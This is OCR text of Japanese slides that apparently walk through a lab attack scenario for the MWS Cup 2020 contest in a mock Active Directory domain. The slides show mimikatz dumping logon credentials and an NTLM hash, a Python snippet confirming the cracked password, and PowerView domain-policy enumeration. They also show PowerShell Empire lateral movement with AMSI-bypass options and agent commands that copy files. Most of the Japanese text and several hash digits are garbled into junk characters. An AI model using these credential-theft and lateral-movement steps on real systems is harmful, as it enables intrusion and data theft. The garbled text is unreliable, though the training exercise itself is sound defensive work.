HE# A ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )

#H\ / ## > https://blog.gentilkiwi.com/mimikatz
‘#H v ' Vincent LE TOUX ( vincent.letoux@gmail.com )
" HE > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : @ ; 257845 (00000000:0003ef35)

Session : Interactive from 1

User Name : okabe

Domain : AD

Logon Server : DCo1

Logon Time 1 10/15/2020 4:20:24 PM

SID : S-1-5-21-953590954-1235050912-4260368985-1107
msv :

[00000003] Primary
* Username : okabe

* Domain : AD

* NTLM : 8a67e9eb9fcl40ac2c4787913f f@eadd

* SHAL 1 437306e272b11e92e9127c009af5082581bc7e7d
-

DPAPI : db80@3b5c44cfedaccb98eebbcba2d20



#7 Pre-Lateral Movement (WSOT: Credential Access)

o [[LXIIINTLM v ¥ = ZFR5K

GG'_H»Q le 8a67e9eb9fc140ac2c4787913ff0ead9

_. +T @ ﬂi] B MIEI Q IE”‘%{ 0 s Iw Py A

8ab67e9eb9fc140ac2c4787913ff0ead9 ICc—E T A fFHIIF > b EHATL .

BROE >

« F—T7—FRERF - RFEPLVWHIEELET,
s IOF—V—FEHALTHET,
s Ho E—RNBF—T—RICEZATHET,
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#7 Pre-Lateral Movement (WSOT: Credential Access)

o RRARTU—KDE Vv NEHES
o MM HFDSNSE R D
o (SNSTARL TG &L 5 M E /AT — P S Dir L ARNTTA)
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#/ Pre-Lateral Movement (WSOT: Credential Access)

o NAU—FRKDE YV MEET c IRA T — RIZRIE7TXE

o PowerView: Get-DomainPolicy

Unicode
SystemAccess

KerberosPolicy
RegistryValues
Version
GroupMembership

Path

GPOName
GPOD1isplayName

" NRAT—FOBEMSZH/-IVLEHY

: @{Unicode=yes}
: @{MinimumPasswordAge=1; MaximumPasswordAge=42; MinimumPasswordLength=7; PasswordComplexity=1;

PasswordHistorySize=24; LockoutBadCount=0; RequirelLogonToChangePassword=0;
ForcelLogoffWhenHourExpire=0; ClearTextPassword=0; LSAAnonymousNameLookup=0}

: @{MaxTicketAge=10; MaxRenewAge=7; MaxServiceAge=600; MaxClockSkew=5; TicketValidateClient=1}
: @{MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=System.Object[]}

: @{signature="$CHICAGO$"; Revision=1}

: @{*S-1-5-21-953590954-1235050912-4260368985-513__Memberof=*S-1-5-32-544;

*5-1-5-21-953590954-1235050912-4260368985-513_Members=}

: \\ad. future-gadget.lab\sysvol\ad. future-gadget.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MAC

HINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf

: {31B2F340-016D-11D2-945F-00C04FB984F9}
: Default Domain Policy

£2%) WindowsD/S AT — FDEH S DR o —
https://docs.microsoft.com/ja-jp/windows/security/threat-protection/security-policy-
settings/password-must-meet-complexity-requirements
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#/ Pre-Lateral Movement (WSOT: Credential Access)

o NTLMNy ¥ aZitHL ThD
o /NAU— KX, El_Psy_Kongr00

Python 2.7.16 (default, Jun 5 2020, 22:59:21)

[GCC 4.2.1 Compatible Apple LLWM 11.0.3 (clang-1103.0.29.20) (-macosl®.15-objc- on darwin
Type "help", "copyright", "credits" or "license" for more information.

>>> import hashlib,binascii

>>> hash = hashlib.new('md4', "E1_Psy_Kongr@9".encode('utf-16le')).digest()

>>> print binascii.hexlifyChash)

8a67e9eb9fcl140ac2c4787913f f@ead9

> D
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#3 Lateral Movement (WSOT -> FILEO

e Invoke-WMI

o /XA U— RNA&ffi - TLateral Movement

Options:

Name

Agent

CredID
ComputerName

Listener
Command
Obfuscate

ObfuscateCommand

AMSIBypass
AMSIBypass2
UserName

Password
Useragent

Proxy

ProxyCreds

Required

True
False
True
False

False
False

False

False
False
False

False
Faise

False

False

AHTMD1IWF
FILEO1
http

False

Token\Al1\1

True
False
AD\okabe

El_Psy_Kongroo
detault

default

default

Description

Agent to run module on.

CredID from the store to use.

Host[s] to execute the stager on, comma
separated.

Listener to use.

Custom command to run.

Switch. Obfuscate the launcher
powershell code, uses the
ObfuscateCommand for obfuscation types.
For powershell only.

The Invoke-Obfuscation command to use.
Only used if Obfuscate switch is True.
For powershell only.

Include mattifestation's AMSI Bypass in
the stager code.

Include Tal Liberman's AMSI Bypass in
the stager code.

[domain\]username to use to execute
command .

Password to use to execute command.
User-agent string to use for the staging
request (default, none, or other).
Proxy to use for request (default, none,
or other).

Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).



2020-10-15 08:40:30 :
Tasked agent to run shell command dir C:\Share\Develop\&k¥H ¥ z v k

2020-10-15 08:40:35 :
Directory: C:\Share\Develop\&k¥# ¥ v k

LastWriteTime

101448 108 _U'> < b X H% 5 % A .odt

77546 159 _ v N M F B .odt

62208 284 7 17 h X 5 — .odt

129989 38 _6 LA LTAS A5 TFH— > .odt
76900 4% _EF v K - A% —% .odt

66049 5% _FLDOE5BhbDOERIFTLE > kbyEE# .odt
46027 68 _H A U I L - £—/t— .odt

190836 758 B M B X TR — )L .odt

142681 88 _BEL ¥ Y (&) .odt

71264 9% N = WA L %% 0 W& .odt

..Command execution completed.

2020-10-15 08:41:36 :
Tasked agent to run shell command cmd /c copy C:\Share\Develop\kEH Yz v h\88_BEL ¥ Y (&) .odt C:\Windows\Temp

2020-10-15 08:41:37 :
1 file(s) copied.

..Command execution completed.




2020-10-15 08:47:37 :
Tasked agent to run shell command cmd.exe /c echo "Thank you for playing. Hacking to the Gate"

2020-10-15 08:47:41 :
"Thank you for playing. Hacking to the Gate"

..Command execution completed.




Ref. MITER ATT&CK & B dmapping

Tactics Techniques Tactics Techniques
Initial Access T1566.002 Discovery T1087.001, T1087.002, T1083, T1201,
T1201, T1069.002, T1057,
T1082, T1016, T1033
Execution T1059.001, T1059.003, T1106, Lateral Movement T1021.002, T1570
T1053.005, T1569.002,
T1204,71204.002, T1047
Persistence T1543.003, T1053.005 Collection T1005
Privilege Escalation T1543.003, T1078.002, T1078.003 Command and Control T1071.001
Defense Evaision - Exfilstaraion T1041

Credential Access

T1543.003

Impact

https://attack.mitre.org/
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ERS)

WEAE BT LY =KD, EHEmAR~DB B
o WU =T HEROHFHELITRLLBIABRDOND

<NV = T RA TRV, 77 AV R

o AV ¥—Y—/LTd %PowerShell Empire Z /| H

Bz — L O EYE

o invoke_psexec & psexecDiE (psexecA A —T % T 4 AT ITEN/RN)

AREAD BRI ZHROH L2 ERD D)7, £, T

MHHELLDL, BRI THERES I !
o Slack-MWS® #cup2020 or #mwscup 7 ¥ /L', DMTHOK T

- TR LY
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